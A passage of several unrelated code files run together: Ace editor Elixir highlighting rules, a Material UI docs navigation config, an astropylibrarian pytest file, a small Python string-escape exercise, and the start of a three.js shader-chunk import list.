TODO: 'FIXME: regexp doesn\'t have js equivalent', originalRegex: '(?<!\\.)\\b(do|end|case|bc|lc|for|if|cond|unless|try|receive|fn|defmodule|defp?|defprotocol|defimpl|defrecord|defstruct|defmacrop?|defdelegate|defcallback|defmacrocallback|defexception|defoverridable|exit|after|rescue|catch|else|raise|throw|import|require|alias|use|quote|unquote|super)\\b(?![?!])' }, { token: 'keyword.operator.elixir', regex: '\\b(?:and|not|or|when|xor|in|inlist|inbits)\\b', TODO: 'FIXME: regexp doesn\'t have js equivalent', originalRegex: '(?<!\\.)\\b(and|not|or|when|xor|in|inlist|inbits)\\b', comment: ' as above, just doesn\'t need a \'end\' and does a logic operation' }, { token: 'constant.language.elixir', regex: '\\b(?:nil|true|false)\\b(?![?!])' }, { token: 'variable.language.elixir', regex: '\\b__(?:CALLER|ENV|MODULE|DIR)__\\b(?![?!])' }, { token: [ 'punctuation.definition.variable.elixir', 'variable.other.readwrite.module.elixir' ], regex: '(@)([a-zA-Z_]\\w*)' }, { token: [ 'punctuation.definition.variable.elixir', 'variable.other.anonymous.elixir' ], regex: '(&)(\\d*)' }, { token: 'variable.other.constant.elixir', regex: '\\b[A-Z]\\w*\\b' }, { token: 'constant.numeric.elixir', regex: '\\b(?:0x[\\da-fA-F](?:_?[\\da-fA-F])*|\\d(?:_?\\d)*(?:\\.(?![^[:space:][:digit:]])(?:_?\\d)*)?(?:[eE][-+]?\\d(?:_?\\d)*)?|0b[01]+|0o[0-7]+)\\b', TODO: 'FIXME: regexp doesn\'t have js equivalent', originalRegex: '\\b(0x\\h(?>_?\\h)*|\\d(?>_?\\d)*(\\.(?![^[:space:][:digit:]])(?>_?\\d)*)?([eE][-+]?\\d(?>_?\\d)*)?|0b[01]+|0o[0-7]+)\\b' }, { token: 'punctuation.definition.constant.elixir', regex: ':\'', push: [ { token: 'punctuation.definition.constant.elixir', regex: '\'', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'constant.other.symbol.single-quoted.elixir' } ] }, { token: 'punctuation.definition.constant.elixir', regex: ':"', push: [ { token: 'punctuation.definition.constant.elixir', regex: '"', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'constant.other.symbol.double-quoted.elixir' } ] }, { token: 'punctuation.definition.string.begin.elixir', regex: '(?:\'\'\')', TODO: 'FIXME: regexp doesn\'t have js equivalent', originalRegex: '(?>\'\'\')', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '^\\s*\'\'\'', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'support.function.variable.quoted.single.heredoc.elixir' } ], comment: 'Single-quoted heredocs' }, { token: 'punctuation.definition.string.begin.elixir', regex: '\'', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '\'', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'support.function.variable.quoted.single.elixir' } ], comment: 'single quoted string (allows for interpolation)' }, { token: 'punctuation.definition.string.begin.elixir', regex: '(?:""")', TODO: 'FIXME: regexp doesn\'t have js equivalent', originalRegex: '(?>""")', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '^\\s*"""', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'string.quoted.double.heredoc.elixir' } ], comment: 'Double-quoted heredocs' }, { token: 'punctuation.definition.string.begin.elixir', regex: '"', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '"', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'string.quoted.double.elixir' } ], comment: 'double quoted string (allows for interpolation)' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[a-z](?:""")', TODO: 'FIXME: regexp doesn\'t have js equivalent', originalRegex: '~[a-z](?>""")', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '^\\s*"""', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'string.quoted.double.heredoc.elixir' } ], comment: 'Double-quoted heredocs sigils' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[a-z]\\{', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '\\}[a-z]*', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'string.interpolated.elixir' } ], comment: 'sigil (allow for interpolation)' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[a-z]\\[', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '\\][a-z]*', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'string.interpolated.elixir' } ], comment: 'sigil (allow for interpolation)' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[a-z]\\<', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '\\>[a-z]*', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'string.interpolated.elixir' } ], comment: 'sigil (allow for interpolation)' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[a-z]\\(', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '\\)[a-z]*', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'string.interpolated.elixir' } ], comment: 'sigil (allow for interpolation)' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[a-z][^\\w]', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '[^\\w][a-z]*', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { include: '#escaped_char' }, { defaultToken: 'string.interpolated.elixir' } ], comment: 'sigil (allow for interpolation)' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[A-Z](?:""")', TODO: 'FIXME: regexp doesn\'t have js equivalent', originalRegex: '~[A-Z](?>""")', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '^\\s*"""', next: 'pop' }, { defaultToken: 'string.quoted.other.literal.upper.elixir' } ], comment: 'Double-quoted heredocs sigils' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[A-Z]\\{', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '\\}[a-z]*', next: 'pop' }, { defaultToken: 'string.quoted.other.literal.upper.elixir' } ], comment: 'sigil (without interpolation)' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[A-Z]\\[', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '\\][a-z]*', next: 'pop' }, { defaultToken: 'string.quoted.other.literal.upper.elixir' } ], comment: 'sigil (without interpolation)' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[A-Z]\\<', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '\\>[a-z]*', next: 'pop' }, { defaultToken: 'string.quoted.other.literal.upper.elixir' } ], comment: 'sigil (without interpolation)' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[A-Z]\\(', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '\\)[a-z]*', next: 'pop' }, { defaultToken: 'string.quoted.other.literal.upper.elixir' } ], comment: 'sigil (without interpolation)' }, { token: 'punctuation.definition.string.begin.elixir', regex: '~[A-Z][^\\w]', push: [ { token: 'punctuation.definition.string.end.elixir', regex: '[^\\w][a-z]*', next: 'pop' }, { defaultToken: 'string.quoted.other.literal.upper.elixir' } ], comment: 'sigil (without interpolation)' }, { token: ['punctuation.definition.constant.elixir', 'constant.other.symbol.elixir'], regex: '(:)([a-zA-Z_][\\w@]*(?:[?!]|=(?![>=]))?|\\<\\>|===?|!==?|<<>>|<<<|>>>|~~~|::|<\\-|\\|>|=>|~|~=|=|/|\\\\\\\\|\\*\\*?|\\.\\.?\\.?|>=?|<=?|&&?&?|\\+\\+?|\\-\\-?|\\|\\|?\\|?|\\!|@|\\%?\\{\\}|%|\\[\\]|\\^(?:\\^\\^)?)', TODO: 'FIXME: regexp doesn\'t have js equivalent', originalRegex: '(?<!:)(:)(?>[a-zA-Z_][\\w@]*(?>[?!]|=(?![>=]))?|\\<\\>|===?|!==?|<<>>|<<<|>>>|~~~|::|<\\-|\\|>|=>|~|~=|=|/|\\\\\\\\|\\*\\*?|\\.\\.?\\.?|>=?|<=?|&&?&?|\\+\\+?|\\-\\-?|\\|\\|?\\|?|\\!|@|\\%?\\{\\}|%|\\[\\]|\\^(\\^\\^)?)', comment: 'symbols' }, { token: 'punctuation.definition.constant.elixir', regex: '(?:[a-zA-Z_][\\w@]*(?:[?!])?):(?!:)', TODO: 'FIXME: regexp doesn\'t have js equivalent', originalRegex: '(?>[a-zA-Z_][\\w@]*(?>[?!])?)(:)(?!:)', comment: 'symbols' }, { token: [ 'punctuation.definition.comment.elixir', 'comment.line.number-sign.elixir' ], regex: '(#)(.*)' }, { token: 'constant.numeric.elixir', regex: '\\?(?:\\\\(?:x[\\da-fA-F]{1,2}(?![\\da-fA-F])\\b|[^xMC])|[^\\s\\\\])', TODO: 'FIXME: regexp doesn\'t have js equivalent', originalRegex: '(?<!\\w)\\?(\\\\(x\\h{1,2}(?!\\h)\\b|[^xMC])|[^\\s\\\\])', comment: '\n\t\t\tmatches questionmark-letters.\n\n\t\t\texamples (1st alternation = hex):\n\t\t\t?\\x1 ?\\x61\n\n\t\t\texamples (2rd alternation = escaped):\n\t\t\t?\\n ?\\b\n\n\t\t\texamples (3rd alternation = normal):\n\t\t\t?a ?A ?0 \n\t\t\t?* ?" ?( \n\t\t\t?. ?#\n\t\t\t\n\t\t\tthe negative lookbehind prevents against matching\n\t\t\tp(42.tainted?)\n\t\t\t' }, { token: 'keyword.operator.assignment.augmented.elixir', regex: '\\+=|\\-=|\\|\\|=|~=|&&=' }, { token: 'keyword.operator.comparison.elixir', regex: '===?|!==?|<=?|>=?' }, { token: 'keyword.operator.bitwise.elixir', regex: '\\|{3}|&{3}|\\^{3}|<{3}|>{3}|~{3}' }, { token: 'keyword.operator.logical.elixir', regex: '!+|\\bnot\\b|&&|\\band\\b|\\|\\||\\bor\\b|\\bxor\\b', originalRegex: '(?<=[ \\t])!+|\\bnot\\b|&&|\\band\\b|\\|\\||\\bor\\b|\\bxor\\b' }, { token: 'keyword.operator.arithmetic.elixir', regex: '\\*|\\+|\\-|/' }, { token: 'keyword.operator.other.elixir', regex: '\\||\\+\\+|\\-\\-|\\*\\*|\\\\\\\\|\\<\\-|\\<\\>|\\<\\<|\\>\\>|\\:\\:|\\.\\.|\\|>|~|=>' }, { token: 'keyword.operator.assignment.elixir', regex: '=' }, { token: 'punctuation.separator.other.elixir', regex: ':' }, { token: 'punctuation.separator.statement.elixir', regex: '\\;' }, { token: 'punctuation.separator.object.elixir', regex: ',' }, { token: 'punctuation.separator.method.elixir', regex: '\\.' }, { token: 'punctuation.section.scope.elixir', regex: '\\{|\\}' }, { token: 'punctuation.section.array.elixir', regex: '\\[|\\]' }, { token: 'punctuation.section.function.elixir', regex: '\\(|\\)' } ], '#escaped_char': [ { token: 'constant.character.escape.elixir', regex: '\\\\(?:x[\\da-fA-F]{1,2}|.)' } ], '#interpolated_elixir': [ { token: [ 'source.elixir.embedded.source', 'source.elixir.embedded.source.empty' ], regex: '(#\\{)(\\})' }, { todo: { token: 'punctuation.section.embedded.elixir', regex: '#\\{', push: [ { token: 'punctuation.section.embedded.elixir', regex: '\\}', next: 'pop' }, { include: '#nest_curly_and_self' }, { include: '$self' }, { defaultToken: 'source.elixir.embedded.source' } ] } } ], '#nest_curly_and_self': [ { token: 'punctuation.section.scope.elixir', regex: '\\{', push: [ { token: 'punctuation.section.scope.elixir', regex: '\\}', next: 'pop' }, { include: '#nest_curly_and_self' } ] }, { include: '$self' } ], '#regex_sub': [ { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { token: [ 'punctuation.definition.arbitrary-repitition.elixir', 'string.regexp.arbitrary-repitition.elixir', 'string.regexp.arbitrary-repitition.elixir', 'punctuation.definition.arbitrary-repitition.elixir' ], regex: '(\\{)(\\d+)((?:,\\d+)?)(\\})' }, { token: 'punctuation.definition.character-class.elixir', regex: '\\[(?:\\^?\\])?', push: [ { token: 'punctuation.definition.character-class.elixir', regex: '\\]', next: 'pop' }, { include: '#escaped_char' }, { defaultToken: 'string.regexp.character-class.elixir' } ] }, { token: 'punctuation.definition.group.elixir', regex: '\\(', push: [ { token: 'punctuation.definition.group.elixir', regex: '\\)', next: 'pop' }, { include: '#regex_sub' }, { defaultToken: 'string.regexp.group.elixir' } ] }, { token: [ 'punctuation.definition.comment.elixir', 'comment.line.number-sign.elixir' ], regex: '(?:^|\\s)(#)(\\s[[a-zA-Z0-9,. \\t?!-][^\\x00-\\x7F]]*$)', originalRegex: '(?<=^|\\s)(#)\\s[[a-zA-Z0-9,. \\t?!-][^\\x{00}-\\x{7F}]]*$', comment: 'We are restrictive in what we allow to go after the comment character to avoid false positives, since the availability of comments depend on regexp flags.' } ] }; this.normalizeRules(); }; ElixirHighlightRules.metaData = { comment: 'Textmate bundle for Elixir Programming Language.', fileTypes: [ 'ex', 'exs' ], firstLineMatch: '^#!/.*\\belixir', foldingStartMarker: '(after|else|catch|rescue|\\-\\>|\\{|\\[|do)\\s*$', foldingStopMarker: '^\\s*((\\}|\\]|after|else|catch|rescue)\\s*$|end\\b)', keyEquivalent: '^~E', name: 'Elixir', scopeName: 'source.elixir' }; oop.inherits(ElixirHighlightRules, TextHighlightRules); exports.ElixirHighlightRules = ElixirHighlightRules; }); ace.define("ace/mode/folding/coffee",["require","exports","module","ace/lib/oop","ace/mode/folding/fold_mode","ace/range"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var BaseFoldMode = require("./fold_mode").FoldMode; var Range = require("../../range").Range; var FoldMode = exports.FoldMode = function() {}; oop.inherits(FoldMode, BaseFoldMode); (function() { this.getFoldWidgetRange = function(session, foldStyle, row) { var range = this.indentationBlock(session, row); if (range) return range; var re = /\S/; var line = session.getLine(row); var startLevel = line.search(re); if (startLevel == -1 || line[startLevel] != "#") return; var startColumn = line.length; var maxRow = session.getLength(); var startRow = row; var endRow = row; while (++row < maxRow) { line = session.getLine(row); var level = line.search(re); if (level == -1) continue; if (line[level] != "#") break; endRow = row; } if (endRow > startRow) { var endColumn = session.getLine(endRow).length; return new Range(startRow, startColumn, endRow, endColumn); } }; this.getFoldWidget = function(session, foldStyle, row) { var line = session.getLine(row); var indent = line.search(/\S/); var next = session.getLine(row + 1); var prev = session.getLine(row - 1); var prevIndent = prev.search(/\S/); var nextIndent = next.search(/\S/); if (indent == -1) { session.foldWidgets[row - 1] = prevIndent!= -1 && prevIndent < nextIndent ? "start" : ""; return ""; } if (prevIndent == -1) { if (indent == nextIndent && line[indent] == "#" && next[indent] == "#") { session.foldWidgets[row - 1] = ""; session.foldWidgets[row + 1] = ""; return "start"; } } else if (prevIndent == indent && line[indent] == "#" && prev[indent] == "#") { if (session.getLine(row - 2).search(/\S/) == -1) { session.foldWidgets[row - 1] = "start"; session.foldWidgets[row + 1] = ""; return ""; } } if (prevIndent!= -1 && prevIndent < indent) session.foldWidgets[row - 1] = "start"; else session.foldWidgets[row - 1] = ""; if (indent < nextIndent) return "start"; else return ""; }; }).call(FoldMode.prototype); }); ace.define("ace/mode/elixir",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/elixir_highlight_rules","ace/mode/folding/coffee"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextMode = require("./text").Mode; var ElixirHighlightRules = require("./elixir_highlight_rules").ElixirHighlightRules; var FoldMode = require("./folding/coffee").FoldMode; var Mode = function() { this.HighlightRules = ElixirHighlightRules; this.foldingRules = new FoldMode(); this.$behaviour = this.$defaultBehaviour; }; oop.inherits(Mode, TextMode); (function() { this.lineCommentStart = "#"; this.$id = "ace/mode/elixir"; }).call(Mode.prototype); exports.Mode = Mode; });
const MaterialUIComponentsNavigation = { id: 'material-ui-components', title: 'Material UI Components', type: 'collapse', icon: 'layers', children: [ { id: 'accordion', title: 'Accordion', type: 'item', url: '/documentation/material-ui-components/accordion', }, { id: 'alert', title: 'Alert', type: 'item', url: '/documentation/material-ui-components/alert', }, { id: 'appBar', title: 'App Bar', type: 'item', url: '/documentation/material-ui-components/app-bar', }, { id: 'autocomplete', title: 'Autocomplete', type: 'item', url: '/documentation/material-ui-components/autocomplete', }, { id: 'avatars', title: 'Avatars', type: 'item', url: '/documentation/material-ui-components/avatars', }, { id: 'backdrop', title: 'Backdrop', type: 'item', url: '/documentation/material-ui-components/backdrop', }, { id: 'badges', title: 'Badges', type: 'item', url: '/documentation/material-ui-components/badges', }, { id: 'bottomNavigation', title: 'Bottom Navigation', type: 'item', url: '/documentation/material-ui-components/bottom-navigation', }, { id: 'box', title: 'Box', type: 'item', url: '/documentation/material-ui-components/box', }, { id: 'breadcrumbs', title: 'Breadcrumbs', type: 'item', url: '/documentation/material-ui-components/breadcrumbs', }, { id: 'buttonGroup', title: 'Button Group', type: 'item', url: '/documentation/material-ui-components/button-group', }, { id: 'buttons', title: 'Buttons', type: 'item', url: '/documentation/material-ui-components/buttons', }, { id: 'cards', title: 'Cards', type: 'item', url: '/documentation/material-ui-components/cards', }, { id: 'checkboxes', title: 'Checkboxes', type: 'item', url: '/documentation/material-ui-components/checkboxes', }, { id: 'chips', title: 'Chips', type: 'item', url: '/documentation/material-ui-components/chips', }, { id: 'clickAwayListener', title: 'Click Away Listener', type: 'item', url: '/documentation/material-ui-components/click-away-listener', }, { id: 'container', title: 'Container', type: 'item', url: '/documentation/material-ui-components/container', }, { id: 'cssBaseline', title: 'Css Baseline', type: 'item', url: '/documentation/material-ui-components/css-baseline', }, { id: 'datePicker', title: 'Date Picker', type: 'item', url: '/documentation/material-ui-components/date-picker', }, { id: 'dateRangePicker', title: 'Date Range Picker', type: 'item', url: '/documentation/material-ui-components/date-range-picker', }, { id: 'dateTimePicker', title: 'Date Time Picker', type: 'item', url: '/documentation/material-ui-components/date-time-picker', }, { id: 'dialogs', title: 'Dialogs', type: 'item', url: '/documentation/material-ui-components/dialogs', }, { id: 'dividers', title: 'Dividers', type: 'item', url: '/documentation/material-ui-components/dividers', }, { id: 'drawers', title: 'Drawers', type: 'item', url: '/documentation/material-ui-components/drawers', }, { id: 'floatingActionButton', title: 'Floating Action Button', type: 'item', url: '/documentation/material-ui-components/floating-action-button', }, { id: 'grid', title: 'Grid', type: 'item', url: '/documentation/material-ui-components/grid', }, { id: 'imageList', title: 'Image List', type: 'item', url: '/documentation/material-ui-components/image-list', }, { id: 'links', title: 'Links', type: 'item', url: '/documentation/material-ui-components/links', }, { id: 'lists', title: 'Lists', type: 'item', url: '/documentation/material-ui-components/lists', }, { id: 'masonry', title: 'Masonry', type: 'item', url: '/documentation/material-ui-components/masonry', }, { id: 'menus', title: 'Menus', type: 'item', url: '/documentation/material-ui-components/menus', }, { id: 'modal', title: 'Modal', type: 'item', url: '/documentation/material-ui-components/modal', }, { id: 'noSsr', title: 'No Ssr', type: 'item', url: '/documentation/material-ui-components/no-ssr', }, { id: 'pagination', title: 'Pagination', type: 'item', url: '/documentation/material-ui-components/pagination', }, { id: 'paper', title: 'Paper', type: 'item', url: '/documentation/material-ui-components/paper', }, { id: 'pickers', title: 'Pickers', type: 'item', url: '/documentation/material-ui-components/pickers', }, { id: 'popover', title: 'Popover', type: 'item', url: '/documentation/material-ui-components/popover', }, { id: 'popper', title: 'Popper', type: 'item', url: '/documentation/material-ui-components/popper', }, { id: 'portal', title: 'Portal', type: 'item', url: '/documentation/material-ui-components/portal', }, { id: 'progress', title: 'Progress', type: 'item', url: '/documentation/material-ui-components/progress', }, { id: 'radioButtons', title: 'Radio Buttons', type: 'item', url: '/documentation/material-ui-components/radio-buttons', }, { id: 'rating', title: 'Rating', type: 'item', url: '/documentation/material-ui-components/rating', }, { id: 'selects', title: 'Selects', type: 'item', url: '/documentation/material-ui-components/selects', }, { id: 'skeleton', title: 'Skeleton', type: 'item', url: '/documentation/material-ui-components/skeleton', }, { id: 'slider', title: 'Slider', type: 'item', url: '/documentation/material-ui-components/slider', }, { id: 'snackbars', title: 'Snackbars', type: 'item', url: '/documentation/material-ui-components/snackbars', }, { id: 'speedDial', title: 'Speed Dial', type: 'item', url: '/documentation/material-ui-components/speed-dial', }, { id: 'stack', title: 'Stack', type: 'item', url: '/documentation/material-ui-components/stack', }, { id: 'steppers', title: 'Steppers', type: 'item', url: '/documentation/material-ui-components/steppers', }, { id: 'switches', title: 'Switches', type: 'item', url: '/documentation/material-ui-components/switches', }, { id: 'tables', title: 'Tables', type: 'item', url: '/documentation/material-ui-components/tables', }, { id: 'tabs', title: 'Tabs', type: 'item', url: '/documentation/material-ui-components/tabs', }, { id: 'textFields', title: 'Text Fields', type: 'item', url: '/documentation/material-ui-components/text-fields', }, { id: 'textareaAutosize', title: 'Textarea Autosize', type: 'item', url: '/documentation/material-ui-components/textarea-autosize', }, { id: 'timePicker', title: 'Time Picker', type: 'item', url: '/documentation/material-ui-components/time-picker', }, { id: 'timeline', title: 'Timeline', type: 'item', url: '/documentation/material-ui-components/timeline', }, { id: 'toggleButton', title: 'Toggle Button', type: 'item', url: '/documentation/material-ui-components/toggle-button', }, { id: 'tooltips', title: 'Tooltips', type: 'item', url: '/documentation/material-ui-components/tooltips', }, { id: 'transferList', title: 'Transfer List', type: 'item', url: '/documentation/material-ui-components/transfer-list', }, { id: 'transitions', title: 'Transitions', type: 'item', url: '/documentation/material-ui-components/transitions', }, { id: 'trapFocus', title: 'Trap Focus', type: 'item', url: '/documentation/material-ui-components/trap-focus', }, { id: 'treeView', title: 'Tree View', type: 'item', url: '/documentation/material-ui-components/tree-view', }, { id: 'typography', title: 'Typography', type: 'item', url: '/documentation/material-ui-components/typography', }, ], }; export default MaterialUIComponentsNavigation;
# Licensed under a 3-clause BSD style license - see LICENSE.rst """Tests for the astropylibrarian.workflows.indexjupyterbook module.""" from __future__ import annotations from typing import Union import pytest from astropylibrarian.workflows.indexjupyterbook import ( detect_redirect, extract_homepage_metadata, ) from .conftest import HtmlTestData @pytest.mark.parametrize( "html_path,base_url,expected", [ ( "ccd-guide/index.html", "https://www.astropy.org/ccd-reduction-and-photometry-guide/", "https://www.astropy.org/ccd-reduction-and-photometry-guide/" "notebooks/00-00-Preface.html", ), ( "ccd-guide/index.html", "https://www.astropy.org/ccd-reduction-and-photometry-guide/" "index.html", "https://www.astropy.org/ccd-reduction-and-photometry-guide/" "notebooks/00-00-Preface.html", ), ( "ccd-guide/notebooks/00-00-Preface.html", "https://www.astropy.org/ccd-reduction-and-photometry-guide/" "index.html", None, ), ], ) def test_detect_redirect( html_path: str, base_url: str, expected: Union[None, str] ) -> None: html_page = HtmlTestData.from_test_path(path=html_path, url=base_url) assert expected == detect_redirect(html_page) def test_extract_homepage_metadata(ccd_guide_00_00: HtmlTestData) -> None: """Test the extract_homepage_metadata function.""" md = extract_homepage_metadata( html_page=ccd_guide_00_00, root_url="http://www.astropy.org/ccd-reduction-and-photometry-guide/", priority=1, ) assert md.title == "CCD Data Reduction Guide" assert md.logo_url == ( "http://www.astropy.org/ccd-reduction-and-photometry-guide/" "_static/logo.png" ) assert md.description == ( "The purpose of this text is to walk through image reduction and " "photometry using Python, especially Astropy and its affiliated " "packages. It assumes some basic familiarity with astronomical images " "and with Python. The inspiration for this work is a pair of guides " "written for IRAF, “A User’s Guide to CCD Reductions with IRAF” " "(Massey 1997) and “A User’s Guide to Stellar CCD Photometry with " "IRAF” (Massey and Davis 1992)." ) assert md.source_repository == ( "https://github.com/mwcraig/ccd-reduction-and-photometry-guide" ) assert ( "http://www.astropy.org/ccd-reduction-and-photometry-guide/notebooks/" "01-00-Understanding-an-astronomical-CCD-image.html" ) in md.page_urls assert md.priority == 1
tabby_cat = "\tI'm tabbed in." persian_cat = "I'm split\non a line." backslash_cat = "I'm \\ a \\ cat." fat_cat = ''' I'll do a list: \t* Cat food \t* Fishies \t* Catnip\n\t* Grass ''' print(tabby_cat) print(persian_cat) print(backslash_cat) print(fat_cat)
import alphamap_fragment from './ShaderChunk/alphamap_fragment.glsl.js'; import alphamap_pars_fragment from './ShaderChunk/alphamap_pars_fragment.glsl.js'; import alphatest_fragment from './ShaderChunk/alphatest_fragment.glsl.js'; import alphatest_pars_fragment from './ShaderChunk/alphatest_pars_fragment.glsl.js'; import aomap_fragment from './ShaderChunk/aomap_fragment.glsl.js'; import aomap_pars_fragment from './ShaderChunk/aomap_pars_fragment.glsl.js'; import begin_vertex from './ShaderChunk/begin_vertex.glsl.js'; import beginnormal_vertex from './ShaderChunk/beginnormal_vertex.glsl.js'; import bsdfs from './ShaderChunk/bsdfs.glsl.js'; import bumpmap_pars_fragment from './ShaderChunk/bumpmap_pars_fragment.glsl.js'; import clipping_planes_fragment from './ShaderChunk/clipping_planes_fragment.glsl.js'; import clipping_planes_pars_fragment from './ShaderChunk/clipping_planes_pars_fragment.glsl.js'; import clipping_planes_pars_vertex from './ShaderChunk/clipping_planes_pars_vertex.glsl.js'; import clipping_planes_vertex from './ShaderChunk/clipping_planes_vertex.glsl.js'; import color_fragment from './ShaderChunk/color_fragment.glsl.js'; import color_pars_fragment from './ShaderChunk/color_pars_fragment.glsl.js'; import color_pars_vertex from './ShaderChunk/color_pars_vertex.glsl.js'; import color_vertex from './ShaderChunk/color_vertex.glsl.js'; import common from './ShaderChunk/common.glsl.js'; import cube_uv_reflection_fragment from './ShaderChunk/cube_uv_reflection_fragment.glsl.js'; import defaultnormal_vertex from './ShaderChunk/defaultnormal_vertex.glsl.js'; import displacementmap_pars_vertex from './ShaderChunk/displacementmap_pars_vertex.glsl.js'; import displacementmap_vertex from './ShaderChunk/displacementmap_vertex.glsl.js'; import emissivemap_fragment from './ShaderChunk/emissivemap_fragment.glsl.js'; import emissivemap_pars_fragment from './ShaderChunk/emissivemap_pars_fragment.glsl.js'; import encodings_fragment from './ShaderChunk/encodings_fragment.glsl.js'; import encodings_pars_fragment from './ShaderChunk/encodings_pars_fragment.glsl.js'; import envmap_fragment from './ShaderChunk/envmap_fragment.glsl.js'; import envmap_common_pars_fragment from './ShaderChunk/envmap_common_pars_fragment.glsl.js'; import envmap_pars_fragment from './ShaderChunk/envmap_pars_fragment.glsl.js'; import envmap_pars_vertex from './ShaderChunk/envmap_pars_vertex.glsl.js'; import envmap_vertex from './ShaderChunk/envmap_vertex.glsl.js'; import fog_vertex from './ShaderChunk/fog_vertex.glsl.js'; import fog_pars_vertex from './ShaderChunk/fog_pars_vertex.glsl.js'; import fog_fragment from './ShaderChunk/fog_fragment.glsl.js'; import fog_pars_fragment from './ShaderChunk/fog_pars_fragment.glsl.js'; import gradientmap_pars_fragment from './ShaderChunk/gradientmap_pars_fragment.glsl.js'; import lightmap_fragment from './ShaderChunk/lightmap_fragment.glsl.js'; import lightmap_pars_fragment from './ShaderChunk/lightmap_pars_fragment.glsl.js'; import lights_lambert_vertex from './ShaderChunk/lights_lambert_vertex.glsl.js'; import lights_pars_begin from './ShaderChunk/lights_pars_begin.glsl.js'; import envmap_physical_pars_fragment from './ShaderChunk/envmap_physical_pars_fragment.glsl.js'; import lights_toon_fragment from './ShaderChunk/lights_toon_fragment.glsl.js'; import lights_toon_pars_fragment from './ShaderChunk/lights_toon_pars_fragment.glsl.js'; import lights_phong_fragment from './ShaderChunk/lights_phong_fragment.glsl.js'; import lights_phong_pars_fragment from './ShaderChunk/lights_phong_pars_fragment.glsl.js'; import lights_physical_fragment from './ShaderChunk/lights_physical_fragment.glsl.js'; import lights_physical_pars_fragment from './ShaderChunk/lights_physical_pars_fragment.glsl.js'; import lights_fragment_begin from './ShaderChunk/lights_fragment_begin.glsl.js'; import lights_fragment_maps from './ShaderChunk/lights_fragment_maps.glsl.js'; import lights_fragment_end from './ShaderChunk/lights_fragment_end.glsl.js'; import logdepthbuf_fragment from './ShaderChunk/logdepthbuf_fragment.glsl.js'; import logdepthbuf_pars_fragment from './ShaderChunk/logdepthbuf_pars_fragment.glsl.js'; import logdepthbuf_pars_vertex from './ShaderChunk/logdepthbuf_pars_vertex.glsl.js'; import logdepthbuf_vertex from './ShaderChunk/logdepthbuf_vertex.glsl.js'; import map_fragment from './ShaderChunk/map_fragment.glsl.js'; import map_pars_fragment from './ShaderChunk/map_pars_fragment.glsl.js'; import map_particle_fragment from './ShaderChunk/map_particle_fragment.glsl.js'; import map_particle_pars_fragment from './ShaderChunk/map_particle_pars_fragment.glsl.js'; import metalnessmap_fragment from './ShaderChunk/metalnessmap_fragment.glsl.js'; import metalnessmap_pars_fragment from './ShaderChunk/metalnessmap_pars_fragment.glsl.js'; import morphnormal_vertex from './ShaderChunk/morphnormal_vertex.glsl.js'; import morphtarget_pars_vertex from './ShaderChunk/morphtarget_pars_vertex.glsl.js'; import morphtarget_vertex from './ShaderChunk/morphtarget_vertex.glsl.js'; import normal_fragment_begin from './ShaderChunk/normal_fragment_begin.glsl.js'; import normal_fragment_maps from './ShaderChunk/normal_fragment_maps.glsl.js'; import normal_pars_fragment from './ShaderChunk/normal_pars_fragment.glsl.js'; import normal_pars_vertex from './ShaderChunk/normal_pars_vertex.glsl.js'; import normal_vertex from './ShaderChunk/normal_vertex.glsl.js'; import normalmap_pars_fragment from './ShaderChunk/normalmap_pars_fragment.glsl.js'; import clearcoat_normal_fragment_begin from './ShaderChunk/clearcoat_normal_fragment_begin.glsl.js'; import clearcoat_normal_fragment_maps from './ShaderChunk/clearcoat_normal_fragment_maps.glsl.js'; import clearcoat_pars_fragment from './ShaderChunk/clearcoat_pars_fragment.glsl.js'; import output_fragment from './ShaderChunk/output_fragment.glsl.js'; import packing from './ShaderChunk/packing.glsl.js'; import premultiplied_alpha_fragment from './ShaderChunk/premultiplied_alpha_fragment.glsl.js'; import project_vertex from './ShaderChunk/project_vertex.glsl.js'; import dithering_fragment from 